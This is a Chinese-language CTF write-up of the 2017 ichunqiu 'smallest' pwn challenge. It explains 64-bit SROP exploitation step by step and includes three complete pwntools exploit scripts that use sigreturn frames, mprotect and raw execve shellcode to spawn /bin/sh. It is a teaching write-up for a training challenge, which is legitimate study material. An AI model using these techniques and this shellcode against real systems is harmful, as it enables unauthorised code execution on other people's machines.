1 概述
360春秋杯”國際網絡安全挑戰賽
Challenge - smallest (pwn 300) - 429 ichunqiu ctf 2017
http://2017429ctf.ichunqiu.com/competition/index
64位SROP很好的練習題。
2 程序分析
millionsky@ubuntu-16:~/tmp/smallest$ objdump -d smallest smallest: 文件格式 elf64-x86-64 Disassembly of section .text: 00000000004000b0 <.text>: 4000b0: 48 31 c0 xor %rax,%rax 4000b3: ba 00 04 00 00 mov $0x400,%edx 4000b8: 48 89 e6 mov %rsp,%rsi 4000bb: 48 89 c7 mov %rax,%rdi 4000be: 0f 05 syscall 4000c0: c3 retq |
3 漏洞利用
3.1 關鍵點
1. 可以通過發送字節的數量控制read的返回值控制RAX
這裏可以利用的系統調用爲:
#define __NR_write 1
#define __NR_rt_sigreturn 15
2. 如何進行SROP
問題:sigreturn在64位syscall號爲15,Signal Frame的大小位0xF8,明顯比15要大,如何傳輸SignalFrame?
方案:兩次read,第一次傳輸SignalFrame,第二次設置rax爲15
第一次read時傳輸的數據格式爲
Return Address or SYS_read
PlaceHolder for syscall
SignalFrame
第二次read時傳輸的數據格式爲(總共15個字節)
syscall_addr
7個字節的填充
Syscall gadget
程序本身有,如果沒有,vsyscall中有
3. SROP中RSP的設置
RSP必須設置爲一個可寫的地址。
棧中的某些數據是指向棧的指針,泄露這些數據可以得到棧的值或一個可寫的地址。
l 通過argv[0]和envp獲取棧所在的頁
int main(int argc, char *argv[], char *envp[])
argv[0]是一個棧地址,指向的是程序的名稱;
envp中保存的都是環境變量的地址,都位於棧中;
addr = leak() & 0xfffffffffffffff000
l 通過附加向量的AT_RANDOM/AT_PLATFORM獲取RSP的值
附加向量中的AT_RANDOM指示棧中16字節隨機數的地址。在棧中位於附加向量的後面,環境字符串的前面。可以通過這個地址計算棧中數據的地址。
AT_PLATFORM位於AT_RANDOM後面,同樣可以計算RSP的值。
l SROP指向mprotect系統調用,將.text變爲可寫的
這樣也可以得到一個可寫的地址;
特別是EFL頭中有程序的入口,通過它可以再次跳轉到read gadget。
4. 如何泄露棧中的數據
通過read控制RAX的值爲1(SYS_write),進而調用write系統調用。
3.2 思路1
1. Sigreturn
Read返回值控制EAX,設置爲sigreturn的系統調用號0x0f
棧溢出,發送Signal Frame,執行sigreturn系統調用;
Sigreturn設置RSP指向ELF header中的entry point
2. Mprotect
sigreturn執行mprotect系統調用,將text段設置爲RWX
3. read gadget
通過Entry point再次執行read gadget
4. Shellcode
read讀取shellcode放入棧中,執行shellcode
3.3 思路2
1. Write泄露envp,獲取棧地址
2. Sigreturn設置RSP爲獲取的地址,RIP設置爲read gadget
3. Read gadget發送Signal Frame和/bin/sh
4. Sigreturn執行execve系統調用
3.4 思路3
1. Write泄露auxv AT_RANDOM/AT_PLATFORM,獲取棧地址
2. Read gadget發送Signal Frame和/bin/sh
3. Sigreturn執行execve系統調用
4 EXP1
1. Sigreturn&mprotect&設置RSP
Sigreturn設置RSP指向ELF header中的entry point
RIP: 400c0(sys_read(pg)執行完畢) |
+1 | Return addr addr_of_sys_read(1) | |
+2 | PlaceHolder | 'A' * 8 |
+3 | Signal Frame | |
+4 | '\n' | |
RIP: 400c0(sys_read(1)執行完畢) 發送了0x0f個字節,即sys_sigreturn |
+2 | Return addr addr_of_syscall | sigreturn |
+3 | Signal Frame | 前7個字節被覆蓋爲6個\x11和1個\n |
+4 | '\n' | |
2. 通過Entry point再次執行read gadget
RIP: 400c0(sys_sigreturn&mprotect執行完畢) RSP=elf_hdr_addr+0x18 |
N+0 0x400018 | Return addr addr_of_sys_read(2) | |
N+1 | | |
3. 傳輸並執行shellcode
RIP: 400c0(sys_read(2)執行完畢) |
N+1 0x40020 | Return addr shellcode_addr | 0x400028 |
N+1 0x40028 | shellcode | |
| 0x0a | |
5 EXP2
代碼來自http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/
見附件
1. 泄露argv[0]
RIP: 400c0(sys_read(pg)執行完畢) |
+0 | Return addr addr_of_sys_read(1) | |
+1 | addr_of_rdi_syscall | mov %rax, %rdi syscall |
+2 | addr_of_sys_read(2) | |
RIP: 400c0(sys_read(1)執行完畢) |
+1 | addr_of_rdi_syscall | mov %rax, %rdi syscall 發送一個字節\xbb 覆蓋原來的\xbb |
+2 | addr_of_sys_read(2) | |
RIP: 400c0(sys_write)執行完畢) |
+2 | addr_of_sys_read(2) | 從sys_write中獲取envp中的值,這是一個指向棧的指針 |
+3 | | |
2. Sigreturn設置RSP爲獲取的地址,RIP設置爲read gadget
RIP: 400c0(sys_read(2)執行完畢) |
+3 | Return addr addr_of_sys_read(3) | |
+4 | PlaceHolder | d' * 8 |
+5X | Signal Frame | |
RIP: 400c0(sys_read(3)執行完畢) 發送了0x0f個字節,即sys_sigreturn sigreturn重新設置RSP,RIP爲read |
+4 | Return addr addr_of_syscall | sigreturn |
+5X | Signal Frame | 前7個字節被覆蓋爲\x11 |
RIP: 400c0(sys_sigreturn執行完畢) RSP=addr RIP=sys_read(4) |
N+0 | | |
N+1 | | |
3. Sigreturn執行execve
RIP: 400c0(sys_read(4)執行完畢) |
N+0 | Return addr addr_of_sys_read(5) | |
N+1 | PlaceHolder | b'*8 |
N+2 | Signal Frame | sys_execve |
N+3 | PAD | |
N+4 addr+400 | /bin/sh\0 | arg1--filename |
N+5 | addr+400 | arg2[0]--filename |
N+6 | \0 | arg2[1]--filename arg3--envp |
RIP: 400c0(sys_read(5)執行完畢) 發送0x0f個字節,即RAX=sigreturn |
N+1 | Return addr addr_of_syscall | |
N+2 | Signal Frame | 前7個字節被覆蓋爲\x11 |
N+3 | PAD | |
N+4 addr+400 | /bin/sh\0 | arg1--filename |
N+5 | addr+400 | arg2[0]--filename |
N+6 | \0 | arg2[1]--filename arg3--envp |
6 EXP3
1. Write泄露auxv,獲取棧地址
RIP: 400c0(sys_read(pg)執行完畢) |
+0 | Return addr addr_of_sys_read(1) | |
+1 | addr_of_rdi_syscall | mov %rax, %rdi syscall |
+2 | addr_of_sys_read(2) | |
RIP: 400c0(sys_read(1)執行完畢) |
+1 | addr_of_rdi_syscall | mov %rax, %rdi syscall 發送一個字節\xbb 覆蓋原來的\xbb |
+2 | addr_of_sys_read(2) | |
RIP: 400c0(sys_write)執行完畢) |
+2 | addr_of_sys_read(2) | 從sys_write中獲取auxv AT_RANDOM的值,這是一個指向棧的指針 |
+3 | | |
2. 發送Signal Frame和/bin/sh
RIP: 400c0(sys_read(2)執行完畢) |
+3 | Return addr addr_of_sys_read(3) | |
+4 | PlaceHolder | d' * 8 |
+5X | Signal Frame | |
+6 | "/bin/sh\0" | |
+7 | 0x0a | |
3. Sigreturn執行execve系統調用
RIP: 400c0(sys_read(3)執行完畢) 發送了0x0f個字節,即sys_sigreturn sigreturn重新設置RSP,RIP爲read |
+4 | Return addr addr_of_syscall | sigreturn |
+5X | Signal Frame | 前7個字節被覆蓋爲Signal Frame的前7個字節 |
7 附件
exp1.py
from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')
program_name = './smallest'
elf_hdr_addr = 0x400000
read_addr = 0x4000b0
syscall_addr = 0x4000be
shellcode="\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"
shellcode_addr=0x400028
def exploit(p):
#Signal Frame
frame = SigreturnFrame()
frame.rsp = elf_hdr_addr+0x18
frame.rax = constants.SYS_mprotect
frame.rdi = elf_hdr_addr
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rip = syscall_addr
#Put Signal Frame to Stack
payload = p64(read_addr)
payload += 'A'*8
payload += str(frame)
payload += chr(0xa)
p.send(payload)
#Set rax=0x0f(sys_sigreturn)
payload = p64(syscall_addr)
payload += '\x11' * (0xf - len(payload)-1)
payload += chr(0xa)
p.send(payload)
# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
payload = p64(shellcode_addr)
payload += shellcode
payload += chr(0xa)
p.send(payload)
p.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process(program_name)
pause()
exploit(p)
exp2.py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 1
GDB = 0
if DEBUG:
p = process("./smallest")
else:
p = remote("106.75.61.55", 20000)
def pwn(addr):
'''
addr should be writable address
'''
#
# #sigreturn set RSP & RIP
#
ret_addr = 0x4000b0 # another read
syscall_addr = 0x4000be # only syscall
frame = SigreturnFrame()
frame.rsp = addr # any writable address(maybe in stack)
frame.rip = ret_addr
payload = p64(ret_addr)
payload += 'd' * 8
payload += str(frame)
p.send(payload)
# second read, enter sysreturn
payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
p.send(payload)
yes = raw_input()
#
# #sigreturn execve
#
# another read now, to the choosed addr as rsp
frame2 = SigreturnFrame()
frame2.rsp = addr + 400
frame2.rax = constants.SYS_execve
frame2.rdi = addr + 400
frame2.rsi = addr + 400 + len("/bin/sh\x00")
frame2.rdx = 0
frame2.rip = syscall_addr
payload = p64(ret_addr)
payload += 'b' * 8
payload += str(frame2)
payload += 'a' * (400 - len(payload))
payload += '/bin/sh\x00'
payload += p64(addr + 400)
p.send(payload)
yes = raw_input()
# another sigreturn
payload = p64(syscall_addr)
payload += '\x00' * (0xf - len(payload))
p.send(payload)
#get value of argv[0], a pointer to stack
def leak():
read_again = 0x4000b0
rdi_syscall_addr = 0x4000bb
payload = p64(read_again)
payload += p64(rdi_syscall_addr)
payload += p64(read_again)
p.send(payload)
yes = raw_input()
p.send('\xbb')
recved = p.recvuntil('\x7f')
then = p.recv()
leak = u64(recved[-6:] + then[:2])
log.info("leaking:" + hex(leak))
return leak
def main():
if GDB:
pwnlib.gdb.attach(p)
#leak()
addr = leak() & 0xfffffffffffffff000
addr -= 0x2000
log.info("on addr: " + hex(addr))
pwn(addr)
p.interactive()
if __name__ == '__main__':
main()
exp3.py
from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')
program_name = './smallest'
read_addr = 0x4000b0
rdi_syscall_addr = 0x4000bb #mov %rax,%rdi; syscall
syscall_addr = 0x4000be
AT_SYSINFO_EHDR = 0x21
AT_RANDOM = 0x19
AT_PLATFORM = 0x0f
#argv[0]--rdi_syscall_addr
#argv[1]--read_addr
#envp[]--entry values like 0x00007fffxxxxxxxx, endwith 0x0
#auxv[key, value]--20 entry, last entry is 0x0, 0x0
#1 or 9 0x0 bytes; 16 random bytes; x86_64; 0x0 byte;
def parse_auxv(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])
start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))
vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)
#offset may vary, need debug
offset = 0x239
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - offset
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address
def parse_auxv_2(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])
start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))
vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)
auxv_random_address = AUX_VEC_ENTRIES[AT_RANDOM]
auxv_random_end_index = ENV_AUX_VEC.index("x86_64")
auxv_random_start_index = auxv_random_end_index - 0x10
auxv_random_start_index += 8 #argc
buffer_address = auxv_random_address - auxv_random_start_index
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address
def parse_auxv_3(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])
start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (19 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))
vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)
auxv_platform_address = AUX_VEC_ENTRIES[AT_PLATFORM]
auxv_platform_index = ENV_AUX_VEC.index("x86_64")
auxv_platform_index += 8 #argc
buffer_address = auxv_platform_address - auxv_platform_index
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address
def exploit(p):
#SYS_write, get buffer addr
payload = p64(read_addr)
payload += p64(rdi_syscall_addr)
payload += p64(read_addr)
payload += chr(0xa)
p.send(payload)
p.send('\xbb') #first byte of rdi_syscall_addr
ENV_AUX_VEC = p.recv(0x400)
buffer_address = parse_auxv_3(ENV_AUX_VEC)
#Signal Frame
frame = SigreturnFrame()
frame.rsp = buffer_address
frame.rax = constants.SYS_execve
frame.rdi = buffer_address+0x28+len(str(frame))
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
print "[*] rdi=%s" % hex(frame.rdi)
#Put Signal Frame to Stack
payload = p64(read_addr)
payload += 'A'*8
payload += str(frame)
payload += '/bin/sh\x00'
payload += chr(0xa)
p.send(payload)
#Set rax=0x0f(sys_sigreturn)
payload = p64(syscall_addr)
payload += '\x11' * (0xf - len(payload)-1)
payload += chr(0xa)
p.send(payload)
p.interactive()
if __name__ == "__main__":
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process(program_name)
pause()
exploit(p)
8 結論
研究本題,應熟悉x64 SROP的利用
9 參考文章
1. http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/。
2. Return to VDSO using ELF Auxiliary Vectors。https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html。